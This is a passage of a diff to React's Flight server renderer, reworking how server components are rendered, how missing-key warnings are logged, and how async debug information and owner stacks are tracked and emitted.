       // We've emitted the latest environment for this task so we track that.
       task.environmentName = componentEnv;
 
-      if (enableOwnerStacks) {
-        warnForMissingKey(request, key, validated, componentDebugInfo);
+      if (validated === 2) {
+        warnForMissingKey(request, key, componentDebugInfo, task.debugTask);
       }
     }
     prepareToUseHooksForComponent(prevThenableState, componentDebugInfo);
-    result = callComponentInDEV(Component, props, componentDebugInfo);
+    if (supportsComponentStorage) {
+      // Run the component in an Async Context that tracks the current owner.
+      if (task.debugTask) {
+        result = task.debugTask.run(
+          // $FlowFixMe[method-unbinding]
+          componentStorage.run.bind(
+            componentStorage,
+            componentDebugInfo,
+            callComponentInDEV,
+            Component,
+            props,
+            componentDebugInfo,
+          ),
+        );
+      } else {
+        result = componentStorage.run(
+          componentDebugInfo,
+          callComponentInDEV,
+          Component,
+          props,
+          componentDebugInfo,
+        );
+      }
+    } else {
+      if (task.debugTask) {
+        result = task.debugTask.run(
+          callComponentInDEV.bind(null, Component, props, componentDebugInfo),
+        );
+      } else {
+        result = callComponentInDEV(Component, props, componentDebugInfo);
+      }
+    }
   } else {
+    componentDebugInfo = (null: any);
     prepareToUseHooksForComponent(prevThenableState, null);
     // The secondArg is always undefined in Server Components since refs error early.
     const secondArg = undefined;
@@ -1091,135 +1766,69 @@ function renderFunctionComponent<Props>(
   }
 
   if (request.status === ABORTING) {
+    if (
+      typeof result === 'object' &&
+      result !== null &&
+      typeof result.then === 'function' &&
+      !isClientReference(result)
+    ) {
+      result.then(voidHandler, voidHandler);
+    }
     // If we aborted during rendering we should interrupt the render but
     // we don't need to provide an error because the renderer will encode
     // the abort error as the reason.
-    throw AbortSigil;
+    // eslint-disable-next-line no-throw-literal
+    throw null;
   }
 
-  if (
-    typeof result === 'object' &&
-    result !== null &&
-    !isClientReference(result)
-  ) {
-    if (typeof result.then === 'function') {
-      // When the return value is in children position we can resolve it immediately,
-      // to its value without a wrapper if it's synchronously available.
-      const thenable: Thenable<any> = result;
-      if (__DEV__) {
-        // If the thenable resolves to an element, then it was in a static position,
-        // the return value of a Server Component. That doesn't need further validation
-        // of keys. The Server Component itself would have had a key.
-        thenable.then(
-          resolvedValue => {
-            if (
-              typeof resolvedValue === 'object' &&
-              resolvedValue !== null &&
-              resolvedValue.$$typeof === REACT_ELEMENT_TYPE
-            ) {
-              resolvedValue._store.validated = 1;
-            }
-          },
-          () => {},
+  if (__DEV__ || (enableProfilerTimer && enableAsyncDebugInfo)) {
+    // Forward any debug information for any Promises that we use():ed during the render.
+    // We do this at the end so that we don't keep doing this for each retry.
+    const trackedThenables = getTrackedThenablesAfterRendering();
+    if (trackedThenables !== null) {
+      const stacks: Array<Error> =
+        __DEV__ && enableAsyncDebugInfo
+          ? (trackedThenables: any)._stacks ||
+            ((trackedThenables: any)._stacks = [])
+          : (null: any);
+      for (let i = 0; i < trackedThenables.length; i++) {
+        const stack = __DEV__ && enableAsyncDebugInfo ? stacks[i] : null;
+        forwardDebugInfoFromThenable(
+          request,
+          task,
+          trackedThenables[i],
+          __DEV__ ? componentDebugInfo : null,
+          stack,
         );
       }
-      if (thenable.status === 'fulfilled') {
-        return thenable.value;
-      }
-      // TODO: Once we accept Promises as children on the client, we can just return
-      // the thenable here.
-      result = createLazyWrapperAroundWakeable(result);
     }
+  }
 
-    // Normally we'd serialize an Iterator/AsyncIterator as a single-shot which is not compatible
-    // to be rendered as a React Child. However, because we have the function to recreate
-    // an iterable from rendering the element again, we can effectively treat it as multi-
-    // shot. Therefore we treat this as an Iterable/AsyncIterable, whether it was one or not, by
-    // adding a wrapper so that this component effectively renders down to an AsyncIterable.
-    const iteratorFn = getIteratorFn(result);
-    if (iteratorFn) {
-      const iterableChild = result;
-      result = {
-        [Symbol.iterator]: function () {
-          const iterator = iteratorFn.call(iterableChild);
-          if (__DEV__) {
-            // If this was an Iterator but not a GeneratorFunction we warn because
-            // it might have been a mistake. Technically you can make this mistake with
-            // GeneratorFunctions and even single-shot Iterables too but it's extra
-            // tempting to try to return the value from a generator.
-            if (iterator === iterableChild) {
-              const isGeneratorComponent =
-                // $FlowIgnore[method-unbinding]
-                Object.prototype.toString.call(Component) ===
-                  '[object GeneratorFunction]' &&
-                // $FlowIgnore[method-unbinding]
-                Object.prototype.toString.call(iterableChild) ===
-                  '[object Generator]';
-              if (!isGeneratorComponent) {
-                console.error(
-                  'Returning an Iterator from a Server Component is not supported ' +
-                    'since it cannot be looped over more than once. ',
-                );
-              }
-            }
-          }
-          return (iterator: any);
-        },
-      };
-      if (__DEV__) {
-        (result: any)._debugInfo = iterableChild._debugInfo;
-      }
-    } else if (
-      enableFlightReadableStream &&
-      typeof (result: any)[ASYNC_ITERATOR] === 'function' &&
-      (typeof ReadableStream !== 'function' ||
-        !(result instanceof ReadableStream))
-    ) {
-      const iterableChild = result;
-      result = {
-        [ASYNC_ITERATOR]: function () {
-          const iterator = (iterableChild: any)[ASYNC_ITERATOR]();
-          if (__DEV__) {
-            // If this was an AsyncIterator but not an AsyncGeneratorFunction we warn because
-            // it might have been a mistake. Technically you can make this mistake with
-            // AsyncGeneratorFunctions and even single-shot AsyncIterables too but it's extra
-            // tempting to try to return the value from a generator.
-            if (iterator === iterableChild) {
-              const isGeneratorComponent =
-                // $FlowIgnore[method-unbinding]
-                Object.prototype.toString.call(Component) ===
-                  '[object AsyncGeneratorFunction]' &&
-                // $FlowIgnore[method-unbinding]
-                Object.prototype.toString.call(iterableChild) ===
-                  '[object AsyncGenerator]';
-              if (!isGeneratorComponent) {
-                console.error(
-                  'Returning an AsyncIterator from a Server Component is not supported ' +
-                    'since it cannot be looped over more than once. ',
-                );
-              }
-            }
-          }
-          return iterator;
-        },
-      };
-      if (__DEV__) {
-        (result: any)._debugInfo = iterableChild._debugInfo;
-      }
-    } else if (__DEV__ && (result: any).$$typeof === REACT_ELEMENT_TYPE) {
-      // If the server component renders to an element, then it was in a static position.
-      // That doesn't need further validation of keys. The Server Component itself would
-      // have had a key.
-      (result: any)._store.validated = 1;
-    }
+  // Apply special cases.
+  result = processServerComponentReturnValue(request, task, Component, result);
+
+  if (__DEV__) {
+    // From this point on, the parent is the component we just rendered until we
+    // hit another JSX element.
+    task.debugOwner = componentDebugInfo;
+    // Unfortunately, we don't have a stack frame for this position. Conceptually
+    // it would be the location of the `return` inside component that just rendered.
+    task.debugStack = null;
+    task.debugTask = null;
   }
+
   // Track this element's key on the Server Component on the keyPath context..
   const prevKeyPath = task.keyPath;
   const prevImplicitSlot = task.implicitSlot;
   if (key !== null) {
     // Append the key to the path. Technically a null key should really add the child
     // index. We don't do that to hold the payload small and implementation simple.
-    task.keyPath = prevKeyPath === null ? key : prevKeyPath + ',' + key;
+    if (key === REACT_OPTIMISTIC_KEY || prevKeyPath === REACT_OPTIMISTIC_KEY) {
+      // The optimistic key is viral. It turns the whole key into optimistic if any part is.
+      task.keyPath = REACT_OPTIMISTIC_KEY;
+    } else {
+      task.keyPath = prevKeyPath === null ? key : prevKeyPath + ',' + key;
+    }
   } else if (prevKeyPath === null) {
     // This sequence of Server Components has no keys. This means that it was rendered
     // in a slot that needs to assign an implicit key. Even if children below have
@@ -1235,15 +1844,11 @@ function renderFunctionComponent<Props>(
 
 function warnForMissingKey(
   request: Request,
-  key: null | string,
-  validated: number,
+  key: ReactKey,
   componentDebugInfo: ReactComponentInfo,
+  debugTask: null | ConsoleTask,
 ): void {
   if (__DEV__) {
-    if (validated !== 2) {
-      return;
-    }
-
     let didWarnForKey = request.didWarnForKey;
     if (didWarnForKey == null) {
       didWarnForKey = request.didWarnForKey = new WeakSet();
@@ -1259,18 +1864,47 @@ function warnForMissingKey(
 
     // Call with the server component as the currently rendering component
     // for context.
-    callComponentInDEV(
-      () => {
-        console.error(
-          'Each child in a list should have a unique "key" prop.' +
-            '%s%s See https://react.dev/link/warning-keys for more information.',
-          '',
-          '',
+    const logKeyError = () => {
+      console.error(
+        'Each child in a list should have a unique "key" prop.' +
+          '%s%s See https://react.dev/link/warning-keys for more information.',
+        '',
+        '',
+      );
+    };
+
+    if (supportsComponentStorage) {
+      // Run the component in an Async Context that tracks the current owner.
+      if (debugTask) {
+        debugTask.run(
+          // $FlowFixMe[method-unbinding]
+          componentStorage.run.bind(
+            componentStorage,
+            componentDebugInfo,
+            callComponentInDEV,
+            logKeyError,
+            null,
+            componentDebugInfo,
+          ),
         );
-      },
-      null,
-      componentDebugInfo,
-    );
+      } else {
+        componentStorage.run(
+          componentDebugInfo,
+          callComponentInDEV,
+          logKeyError,
+          null,
+          componentDebugInfo,
+        );
+      }
+    } else {
+      if (debugTask) {
+        debugTask.run(
+          callComponentInDEV.bind(null, logKeyError, null, componentDebugInfo),
+        );
+      } else {
+        callComponentInDEV(logKeyError, null, componentDebugInfo);
+      }
+    }
   }
 }
 
@@ -1299,23 +1933,15 @@ function renderFragment(
     // We have a Server Component that specifies a key but we're now splitting
     // the tree using a fragment.
     const fragment = __DEV__
-      ? enableOwnerStacks
-        ? [
-            REACT_ELEMENT_TYPE,
-            REACT_FRAGMENT_TYPE,
-            task.keyPath,
-            {children},
-            null,
-            null,
-            0,
-          ]
-        : [
-            REACT_ELEMENT_TYPE,
-            REACT_FRAGMENT_TYPE,
-            task.keyPath,
-            {children},
-            null,
-          ]
+      ? [
+          REACT_ELEMENT_TYPE,
+          REACT_FRAGMENT_TYPE,
+          task.keyPath,
+          {children},
+          null,
+          null,
+          0,
+        ]
       : [REACT_ELEMENT_TYPE, REACT_FRAGMENT_TYPE, task.keyPath, {children}];
     if (!task.implicitSlot) {
       // If this was keyed inside a set. I.e. the outer Server Component was keyed
@@ -1343,7 +1969,7 @@ function renderFragment(
     const debugInfo: ?ReactDebugInfo = (children: any)._debugInfo;
     if (debugInfo) {
       // If this came from Flight, forward any debug info into this new row.
-      if (debugID === null) {
+      if (!canEmitDebugInfo) {
         // We don't have a chunk to assign debug info. We need to outline this
         // component to assign it an ID.
         return outlineTask(request, task);
@@ -1351,7 +1977,7 @@ function renderFragment(
         // Forward any debug info we have the first time we see it.
         // We do this after init so that we have received all the debug info
         // from the server by the time we emit it.
-        forwardDebugInfo(request, debugID, debugInfo);
+        forwardDebugInfo(request, task, debugInfo);
       }
       // Since we're rendering this array again, create a copy that doesn't
       // have the debug info so we avoid outlining or emitting debug info again.
@@ -1371,23 +1997,15 @@ function renderAsyncFragment(
     // We have a Server Component that specifies a key but we're now splitting
     // the tree using a fragment.
     const fragment = __DEV__
-      ? enableOwnerStacks
-        ? [
-            REACT_ELEMENT_TYPE,
-            REACT_FRAGMENT_TYPE,
-            task.keyPath,
-            {children},
-            null,
-            null,
-            0,
-          ]
-        : [
-            REACT_ELEMENT_TYPE,
-            REACT_FRAGMENT_TYPE,
-            task.keyPath,
-            {children},
-            null,
-          ]
+      ? [
+          REACT_ELEMENT_TYPE,
+          REACT_FRAGMENT_TYPE,
+          task.keyPath,
+          {children},
+          null,
+          null,
+          0,
+        ]
       : [REACT_ELEMENT_TYPE, REACT_FRAGMENT_TYPE, task.keyPath, {children}];
     if (!task.implicitSlot) {
       // If this was keyed inside a set. I.e. the outer Server Component was keyed
@@ -1417,12 +2035,11 @@ function renderAsyncFragment(
 }
 
 function renderClientElement(
+  request: Request,
   task: Task,
   type: any,
-  key: null | string,
+  key: ReactKey,
   props: any,
-  owner: null | ReactComponentInfo, // DEV-only
-  stack: null | string, // DEV-only
   validated: number, // DEV-only
 ): ReactJSONValue {
   // We prepend the terminal client element that actually gets serialized with
@@ -1431,12 +2048,39 @@ function renderClientElement(
   if (key === null) {
     key = keyPath;
   } else if (keyPath !== null) {
-    key = keyPath + ',' + key;
+    if (keyPath === REACT_OPTIMISTIC_KEY || key === REACT_OPTIMISTIC_KEY) {
+      // Optimistic key is viral and turns the whole key optimistic.
+      key = REACT_OPTIMISTIC_KEY;
+    } else {
+      key = keyPath + ',' + key;
+    }
+  }
+  let debugOwner = null;
+  let debugStack = null;
+  if (__DEV__) {
+    debugOwner = task.debugOwner;
+    if (debugOwner !== null) {
+      // Ensure we outline this owner if it is the first time we see it.
+      // So that we can refer to it directly.
+      outlineComponentInfo(request, debugOwner);
+    }
+    if (task.debugStack !== null) {
+      // Outline the debug stack so that we write to the completedDebugChunks instead.
+      debugStack = filterStackTrace(
+        request,
+        parseStackTrace(task.debugStack, 1),
+      );
+      const id = outlineDebugModel(
+        request,
+        {objectLimit: debugStack.length * 2 + 1},
+        debugStack,
+      );
+      // We also store this in the main dedupe set so that it can be referenced by inline React Elements.
+      request.writtenObjects.set(debugStack, serializeByValueID(id));
+    }
   }
   const element = __DEV__
-    ? enableOwnerStacks
-      ? [REACT_ELEMENT_TYPE, type, key, props, owner, stack, validated]
-      : [REACT_ELEMENT_TYPE, type, key, props, owner]
+    ? [REACT_ELEMENT_TYPE, type, key, props, debugOwner, debugStack, validated]
     : [REACT_ELEMENT_TYPE, type, key, props];
   if (task.implicitSlot && key !== null) {
     // The root Server Component had no key so it was in an implicit slot.
@@ -1453,8 +2097,38 @@ function renderClientElement(
   return element;
 }
 
-// The chunk ID we're currently rendering that we can assign debug data to.
-let debugID: null | number = null;
+// Determines if we're currently rendering at the top level of a task and therefore
+// is safe to emit debug info associated with that task. Otherwise, if we're in
+// a nested context, we need to first outline.
+let canEmitDebugInfo: boolean = false;
+
+// Approximate string length of the currently serializing row.
+// Used to power outlining heuristics.
+let serializedSize = 0;
+const MAX_ROW_SIZE = 3200;
+
+function deferTask(request: Request, task: Task): ReactJSONValue {
+  // Like outlineTask but instead the item is scheduled to be serialized
+  // after its parent in the stream.
+  const newTask = createTask(
+    request,
+    task.model, // the currently rendering element
+    task.keyPath, // unlike outlineModel this one carries along context
+    task.implicitSlot,
+    task.formatContext,
+    request.abortableTasks,
+    enableProfilerTimer &&
+      (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+      ? task.time
+      : 0,
+    __DEV__ ? task.debugOwner : null,
+    __DEV__ ? task.debugStack : null,
+    __DEV__ ? task.debugTask : null,
+  );
+
+  pingTask(request, newTask);
+  return serializeLazyID(newTask.id);
+}
 
 function outlineTask(request: Request, task: Task): ReactJSONValue {
   const newTask = createTask(
@@ -1462,7 +2136,15 @@ function outlineTask(request: Request, task: Task): ReactJSONValue {
     task.model, // the currently rendering element
     task.keyPath, // unlike outlineModel this one carries along context
     task.implicitSlot,
+    task.formatContext,
     request.abortableTasks,
+    enableProfilerTimer &&
+      (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+      ? task.time
+      : 0,
+    __DEV__ ? task.debugOwner : null,
+    __DEV__ ? task.debugStack : null,
+    __DEV__ ? task.debugTask : null,
   );
 
   retryTask(request, newTask);
@@ -1476,15 +2158,31 @@ function outlineTask(request: Request, task: Task): ReactJSONValue {
   return serializeLazyID(newTask.id);
 }
 
+function outlineHaltedTask(
+  request: Request,
+  task: Task,
+  allowLazy: boolean,
+): ReactJSONValue {
+  // In the future if we track task state for resuming we'll maybe need to
+  // construnct an actual task here but since we're never going to retry it
+  // we just claim the id and serialize it according to the proper convention
+  const taskId = request.nextChunkId++;
+  if (allowLazy) {
+    // We're halting in a position that can handle a lazy reference
+    return serializeLazyID(taskId);
+  } else {
+    // We're halting in a position that needs a value reference
+    return serializeByValueID(taskId);
+  }
+}
+
 function renderElement(
   request: Request,
   task: Task,
   type: any,
-  key: null | string,
+  key: ReactKey,
   ref: mixed,
   props: any,
-  owner: null | ReactComponentInfo, // DEV only
-  stack: null | string, // DEV only
   validated: number, // DEV only
 ): ReactJSONValue {
   if (ref !== null && ref !== undefined) {
@@ -1503,67 +2201,51 @@ function renderElement(
       jsxChildrenParents.set(props.children, type);
     }
   }
-  if (typeof type === 'function') {
-    if (isClientReference(type) || isOpaqueTemporaryReference(type)) {
-      // This is a reference to a Client Component.
-      return renderClientElement(
-        task,
-        type,
-        key,
-        props,
-        owner,
-        stack,
-        validated,
-      );
-    }
+  if (
+    typeof type === 'function' &&
+    !isClientReference(type) &&
+    !isOpaqueTemporaryReference(type)
+  ) {
     // This is a Server Component.
-    return renderFunctionComponent(
+    return renderFunctionComponent(request, task, key, type, props, validated);
+  } else if (type === REACT_FRAGMENT_TYPE && key === null) {
+    // For key-less fragments, we add a small optimization to avoid serializing
+    // it as a wrapper.
+    if (__DEV__ && validated === 2) {
+      // Create a fake owner node for the error stack.
+      const componentDebugInfo: ReactComponentInfo = {
+        name: 'Fragment',
+        env: (0, request.environmentName)(),
+        key: key,
+        owner: task.debugOwner,
+        stack:
+          task.debugStack === null
+            ? null
+            : filterStackTrace(request, parseStackTrace(task.debugStack, 1)),
+        props: props,
+        debugStack: task.debugStack,
+        debugTask: task.debugTask,
+      };
+      warnForMissingKey(request, key, componentDebugInfo, task.debugTask);
+    }
+    const prevImplicitSlot = task.implicitSlot;
+    if (task.keyPath === null) {
+      task.implicitSlot = true;
+    }
+    const json = renderModelDestructive(
       request,
       task,
-      key,
-      type,
-      props,
-      owner,
-      stack,
-      validated,
+      emptyRoot,
+      '',
+      props.children,
     );
-  } else if (typeof type === 'string') {
-    // This is a host element. E.g. HTML.
-    return renderClientElement(task, type, key, props, owner, stack, validated);
-  } else if (typeof type === 'symbol') {
-    if (type === REACT_FRAGMENT_TYPE && key === null) {
-      // For key-less fragments, we add a small optimization to avoid serializing
-      // it as a wrapper.
-      const prevImplicitSlot = task.implicitSlot;
-      if (task.keyPath === null) {
-        task.implicitSlot = true;
-      }
-      const json = renderModelDestructive(
-        request,
-        task,
-        emptyRoot,
-        '',
-        props.children,
-      );
-      task.implicitSlot = prevImplicitSlot;
-      return json;
-    }
-    // This might be a built-in React component. We'll let the client decide.
-    // Any built-in works as long as its props are serializable.
-    return renderClientElement(task, type, key, props, owner, stack, validated);
-  } else if (type != null && typeof type === 'object') {
-    if (isClientReference(type)) {
-      // This is a reference to a Client Component.
-      return renderClientElement(
-        task,
-        type,
-        key,
-        props,
-        owner,
-        stack,
-        validated,
-      );
-    }
+    task.implicitSlot = prevImplicitSlot;
+    return json;
+  } else if (
+    type != null &&
+    typeof type === 'object' &&
+    !isClientReference(type)
+  ) {
     switch (type.$$typeof) {
       case REACT_LAZY_TYPE: {
         let wrappedType;
@@ -1578,7 +2260,8 @@ function renderElement(
           // lazy initializers are user code and could abort during render
           // we don't wan to return any value resolved from the lazy initializer
           // if it aborts so we interrupt rendering here
-          throw AbortSigil;
+          // eslint-disable-next-line no-throw-literal
+          throw null;
         }
         return renderElement(
           request,
@@ -1587,8 +2270,6 @@ function renderElement(
           key,
           ref,
           props,
-          owner,
-          stack,
           validated,
         );
       }
@@ -1599,8 +2280,6 @@ function renderElement(
           key,
           type.render,
           props,
-          owner,
-          stack,
           validated,
         );
       }
@@ -1612,33 +2291,427 @@ function renderElement(
           key,
           ref,
           props,
-          owner,
-          stack,
           validated,
         );
       }
+      case REACT_ELEMENT_TYPE: {
+        // This is invalid but we'll let the client determine that it is.
+        if (__DEV__) {
+          // Disable the key warning that would happen otherwise because this
+          // element gets serialized inside an array. We'll error later anyway.
+          type._store.validated = 1;
+        }
+      }
     }
-  }
-  throw new Error(
-    `Unsupported Server Component type: ${describeValueForErrorMessage(type)}`,
-  );
+  } else if (typeof type === 'string') {
+    const parentFormatContext = task.formatContext;
+    const newFormatContext = getChildFormatContext(
+      parentFormatContext,
+      type,
+      props,
+    );
+    if (parentFormatContext !== newFormatContext && props.children != null) {
+      // We've entered a new context. We need to create another Task which has
+      // the new context set up since it's not safe to push/pop in the middle of
+      // a tree. Additionally this means that any deduping within this tree now
+      // assumes the new context even if it's reused outside in a different context.
+      // We'll rely on this to dedupe the value later as we discover it again
+      // inside the returned element's tree.
+      outlineModelWithFormatContext(request, props.children, newFormatContext);
+    }
+  }
+  // For anything else, try it on the client instead.
+  // We don't know if the client will support it or not. This might error on the
+  // client or error during serialization but the stack will point back to the
+  // server.
+  return renderClientElement(request, task, type, key, props, validated);
+}
+
+function visitAsyncNode(
+  request: Request,
+  task: Task,
+  node: AsyncSequence,
+  visited: Map<
+    AsyncSequence | ReactDebugInfo,
+    void | null | PromiseNode | IONode,
+  >,
+  cutOff: number,
+): void | null | PromiseNode | IONode {
+  // Collect the previous chain iteratively instead of recursively to avoid
+  // stack overflow on deep chains. We process from deepest to shallowest so
+  // each node has its previousIONode available.
+  const chain: Array<AsyncSequence> = [];
+  let current: AsyncSequence | null = node;
+
+  while (current !== null) {
+    if (visited.has(current)) {
+      break;
+    }
+    chain.push(current);
+    current = current.previous;
+  }
+
+  let previousIONode: void | null | PromiseNode | IONode =
+    current !== null ? visited.get(current) : null;
+
+  // Process from deepest to shallowest (reverse order).
+  for (let i = chain.length - 1; i >= 0; i--) {
+    const n = chain[i];
+    // Set it as visited early in case we see the node again before returning.
+    visited.set(n, null);
+
+    const result = visitAsyncNodeImpl(
+      request,
+      task,
+      n,
+      visited,
+      cutOff,
+      previousIONode,
+    );
+
+    if (result !== null) {
+      // If we ended up with a value, let's use that value for future visits.
+      visited.set(n, result);
+    }
+
+    if (result === undefined) {
+      // Undefined is used as a signal that we found a suitable aborted node
+      // and we don't have to find further aborted nodes.
+      return undefined;
+    }
+
+    previousIONode = result;
+  }
+
+  return previousIONode;
+}
+
+function visitAsyncNodeImpl(
+  request: Request,
+  task: Task,
+  node: AsyncSequence,
+  visited: Map<
+    AsyncSequence | ReactDebugInfo,
+    void | null | PromiseNode | IONode,
+  >,
+  cutOff: number,
+  previousIONode: void | null | PromiseNode | IONode,
+): void | null | PromiseNode | IONode {
+  if (node.end >= 0 && node.end <= request.timeOrigin) {
+    // This was already resolved when we started this render. It must have been either something
+    // that's part of a start up sequence or externally cached data. We exclude that information.
+    // The technique for debugging the effects of uncached data on the render is to simply uncache it.
+    return null;
+  }
+
+  // `found` represents the return value of the following switch statement.
+  // We can't use multiple `return` statements in the switch statement
+  // since that prevents Closure compiler from inlining `visitAsyncImpl`
+  // thus doubling the call stack size.
+  let found: void | null | PromiseNode | IONode;
+  switch (node.tag) {
+    case IO_NODE: {
+      found = node;
+      break;
+    }
+    case UNRESOLVED_PROMISE_NODE: {
+      found = previousIONode;
+      break;
+    }
+    case PROMISE_NODE: {
+      const awaited = node.awaited;
+      let match: void | null | PromiseNode | IONode = previousIONode;
+      const promise = node.promise.deref();
+      if (awaited !== null) {
+        const ioNode = visitAsyncNode(request, task, awaited, visited, cutOff);
+        if (ioNode === undefined) {
+          // Undefined is used as a signal that we found a suitable aborted node and we don't have to find
+          // further aborted nodes.
+          found = undefined;
+          break;
+        } else if (ioNode !== null) {
+          // This Promise was blocked on I/O. That's a signal that this Promise is interesting to log.
+          // We don't log it yet though. We return it to be logged by the point where it's awaited.
+          // The ioNode might be another PromiseNode in the case where none of the AwaitNode had
+          // unfiltered stacks.
+          if (ioNode.tag === PROMISE_NODE) {
+            // If the ioNode was a Promise, then that means we found one in user space since otherwise
+            // we would've returned an IO node. We assume this has the best stack.
+            // Note: This might also be a Promise with a displayName but potentially a worse stack.
+            // We could potentially favor the outer Promise if it has a stack but not the inner.
+            match = ioNode;
+          } else if (
+            (node.stack !== null && hasUnfilteredFrame(request, node.stack)) ||
+            (promise !== undefined &&
+              // $FlowFixMe[prop-missing]
+              typeof promise.displayName === 'string' &&
+              (ioNode.stack === null ||
+                !hasUnfilteredFrame(request, ioNode.stack)))
+          ) {
+            // If this Promise has a stack trace then we favor that over the I/O node since we're
+            // mainly dealing with Promises as the abstraction.
+            // If it has no stack but at least has a displayName and the io doesn't have a better
+            // stack anyway, then also use this Promise instead since at least it has a name.
+            match = node;
+          } else {
+            // If this Promise was created inside only third party code, then try to use
+            // the inner I/O node instead. This could happen if third party calls into first
+            // party to perform some I/O.
+            match = ioNode;
+          }
+        } else if (request.status === ABORTING) {
+          if (node.start < request.abortTime && node.end > request.abortTime) {
+            // We aborted this render. If this Promise spanned the abort time it was probably the
+            // Promise that was aborted. This won't necessarily have I/O associated with it but
+            // it's a point of interest.
+            if (
+              (node.stack !== null &&
+                hasUnfilteredFrame(request, node.stack)) ||
+              (promise !== undefined &&
+                // $FlowFixMe[prop-missing]
+                typeof promise.displayName === 'string')
+            ) {
+              match = node;
+            }
+          }
+        }
+      }
+      // We need to forward after we visit awaited nodes because what ever I/O we requested that's
+      // the thing that generated this node and its virtual children.
+      if (promise !== undefined) {
+        const debugInfo = promise._debugInfo;
+        if (debugInfo != null && !visited.has(debugInfo)) {
+          visited.set(debugInfo, null);
+          forwardDebugInfo(request, task, debugInfo);
+        }
+      }
+      found = match;
+      break;
+    }
+    case UNRESOLVED_AWAIT_NODE: {
+      found = previousIONode;
+      break;
+    }
+    case AWAIT_NODE: {
+      const awaited = node.awaited;
+      let match: void | null | PromiseNode | IONode = previousIONode;
+      if (awaited !== null) {
+        const ioNode = visitAsyncNode(request, task, awaited, visited, cutOff);
+        if (ioNode === undefined) {
+          // Undefined is used as a signal that we found a suitable aborted node and we don't have to find
+          // further aborted nodes.
+          found = undefined;
+          break;
+        } else if (ioNode !== null) {
+          const startTime: number = node.start;
+          const endTime: number = node.end;
+          if (startTime < cutOff) {
+            // We started awaiting this node before we started rendering this sequence.
+            // This means that this particular await was never part of the current sequence.
+            // If we have another await higher up in the chain it might have a more actionable stack
+            // from the perspective of this component. If we end up here from the "previous" path,
+            // then this gets I/O ignored, which is what we want because it means it was likely
+            // just part of a previous component's rendering.
+            match = ioNode;
+            if (
+              node.stack !== null &&
+              isAwaitInUserspace(request, node.stack)
+            ) {
+              // This await happened earlier but it was done in user space. This is the first time
+              // that user space saw the value of the I/O. We know we'll emit the I/O eventually
+              // but if we do it now we can override the promise value of the I/O entry to the
+              // one observed by this await which will be a better value than the internals of
+              // the I/O entry. If it's still alive that is.
+              const promise =
+                awaited.promise === null ? undefined : awaited.promise.deref();
+              if (promise !== undefined) {
+                serializeIONode(request, ioNode, awaited.promise);
+              }
+            }
+          } else {
+            if (
+              node.stack === null ||
+              !isAwaitInUserspace(request, node.stack)
+            ) {
+              // If this await was fully filtered out, then it was inside third party code
+              // such as in an external library. We return the I/O node and try another await.
+              match = ioNode;
+            } else if (
+              request.status === ABORTING &&
+              startTime > request.abortTime
+            ) {
+              // This was awaited after aborting so we skip it.
+            } else {
+              // We found a user space await.
+
+              // Outline the IO node.
+              // The ioNode is where the I/O was initiated, but after that it could have been
+              // processed through various awaits in the internals of the third party code.
+              // Therefore we don't use the inner most Promise as the conceptual value but the
+              // Promise that was ultimately awaited by the user space await.
+              serializeIONode(request, ioNode, awaited.promise);
+
+              // If we ever visit this I/O node again, skip it because we already emitted this
+              // exact entry and we don't need two awaits on the same thing.
+              visited.set(ioNode, null);
+
+              // Ensure the owner is already outlined.
+              if (node.owner != null) {
+                outlineComponentInfo(request, node.owner);
+              }
+
+              // We log the environment at the time when the last promise pigned ping which may
+              // be later than what the environment was when we actually started awaiting.
+              const env = (0, request.environmentName)();
+              advanceTaskTime(request, task, startTime);
+              // Then emit a reference to us awaiting it in the current task.
+              request.pendingChunks++;
+              emitDebugChunk(request, task.id, {
+                awaited: ((ioNode: any): ReactIOInfo), // This is deduped by this reference.
+                env: env,
+                owner: node.owner,
+                stack:
+                  node.stack === null
+                    ? null
+                    : filterStackTrace(request, node.stack),
+              });
+              // Mark the end time of the await. If we're aborting then we don't emit this
+              // to signal that this never resolved inside this render.
+              markOperationEndTime(request, task, endTime);
+              if (request.status === ABORTING) {
+                // Undefined is used as a signal that we found a suitable aborted node and we don't have to find
+                // further aborted nodes.
+                match = undefined;
+              }
+            }
+          }
+        }
+      }
+      // We need to forward after we visit awaited nodes because what ever I/O we requested that's
+      // the thing that generated this node and its virtual children.
+      const promise = node.promise.deref();
+      if (promise !== undefined) {
+        const debugInfo = promise._debugInfo;
+        if (debugInfo != null && !visited.has(debugInfo)) {
+          visited.set(debugInfo, null);
+          forwardDebugInfo(request, task, debugInfo);
+        }
+      }
+      found = match;
+      break;
+    }
+    default: {
+      // eslint-disable-next-line react-internal/prod-error-codes
+      throw new Error('Unknown AsyncSequence tag. This is a bug in React.');
+    }
+  }
+  return found;
+}
+
+function emitAsyncSequence(
+  request: Request,
+  task: Task,
+  node: AsyncSequence,
+  alreadyForwardedDebugInfo: ?ReactDebugInfo,
+  owner: null | ReactComponentInfo,
+  stack: null | Error,
+): void {
+  const visited: Map<
+    AsyncSequence | ReactDebugInfo,
+    void | null | PromiseNode | IONode,
+  > = new Map();
+  if (__DEV__ && alreadyForwardedDebugInfo) {
+    visited.set(alreadyForwardedDebugInfo, null);
+  }
+  const awaitedNode = visitAsyncNode(request, task, node, visited, task.time);
+  if (awaitedNode === undefined) {
+    // Undefined is used as a signal that we found an aborted await and that's good enough
+    // anything derived from that aborted node might be irrelevant.
+  } else if (awaitedNode !== null) {
+    // Nothing in user space (unfiltered stack) awaited this.
+    serializeIONode(request, awaitedNode, awaitedNode.promise);
+    request.pendingChunks++;
+    // We log the environment at the time when we ping which may be later than what the
+    // environment was when we actually started awaiting.
+    const env = (0, request.environmentName)();
+    // If we don't have any thing awaited, the time we started awaiting was internal
+    // when we yielded after rendering. The current task time is basically that.
+    const debugInfo: ReactAsyncInfo = {
+      awaited: ((awaitedNode: any): ReactIOInfo), // This is deduped by this reference.
+      env: env,
+    };
+    if (__DEV__) {
+      if (owner === null && stack === null) {
+        // We have no location for the await. We can use the JSX callsite of the parent
+        // as the await if this was just passed as a prop.
+        if (task.debugOwner !== null) {
+          // $FlowFixMe[cannot-write]
+          debugInfo.owner = task.debugOwner;
+        }
+        if (task.debugStack !== null) {
+          // $FlowFixMe[cannot-write]
+          debugInfo.stack = filterStackTrace(
+            request,
+            parseStackTrace(task.debugStack, 1),
+          );
+        }
+      } else {
+        if (owner != null) {
+          // $FlowFixMe[cannot-write]
+          debugInfo.owner = owner;
+        }
+        if (stack != null) {
+          // $FlowFixMe[cannot-write]
